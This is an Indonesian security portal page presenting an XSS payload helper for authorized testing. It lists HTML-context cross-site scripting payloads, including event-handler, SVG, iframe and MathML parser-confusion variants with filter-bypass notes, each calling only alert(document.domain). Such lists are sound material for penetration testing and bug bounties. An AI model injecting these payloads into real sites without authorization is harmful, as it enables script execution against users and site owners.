SiberInd

Portal Keamanan Siber Indonesia

Tutorial teknis · Threat intelligence · Security Tools · Panduan karier

Tools

Security Testing Tool

XSS Payload Helper

Template payload Cross-Site Scripting (XSS) berdasarkan konteks injeksi. Pilih kategori sesuai di mana teks Anda masuk ke halaman — HTML body, atribut, script, atau URL — dan ambil payload yang relevan untuk pengujian.

Untuk penggunaan yang diotorisasi saja. Gunakan tool ini hanya pada sistem yang Anda miliki, memiliki izin tertulis untuk menguji, atau dalam konteks bug bounty program yang berlaku. Pengujian tanpa izin adalah tindakan ilegal.

Pilih Konteks Injeksi

Injeksi langsung di dalam konten HTML, tidak di dalam atribut atau tag script.

<script>alert(document.domain)</script>

Klasik, blokir oleh CSP script-src

<img src=x onerror="alert(document.domain)">

Event handler pada tag yang tidak valid

<svg onload="alert(document.domain)">

SVG onload, tidak perlu closing tag

<body onload="alert(document.domain)">

Hanya efektif jika body belum ada

<input onfocus=alert(document.domain) autofocus>

Trigger otomatis tanpa interaksi

<details open ontoggle="alert(document.domain)">

HTML5 element, sering lolos filter

<video src=1 onerror="alert(document.domain)">

Media element event handler

<iframe src="javascript:alert(document.domain)"></iframe>

javascript: scheme di src

<math><mtext></p><img src=x onerror=alert(document.domain)>

MathML parser confusion

Custom Payload Encoder

Encode payload custom untuk melewati filter tertentu.

Memahami Konteks Injeksi XSS

Keberhasilan XSS sangat bergantung pada di mana input pengguna ditempatkan dalam halaman HTML. Konteks yang salah akan membuat payload tidak berjalan:

Payload alert(document.domain) adalah pilihan standar bug bounty karena membuktikan eksekusi script di domain target tanpa side effect yang merusak.

Tool Lainnya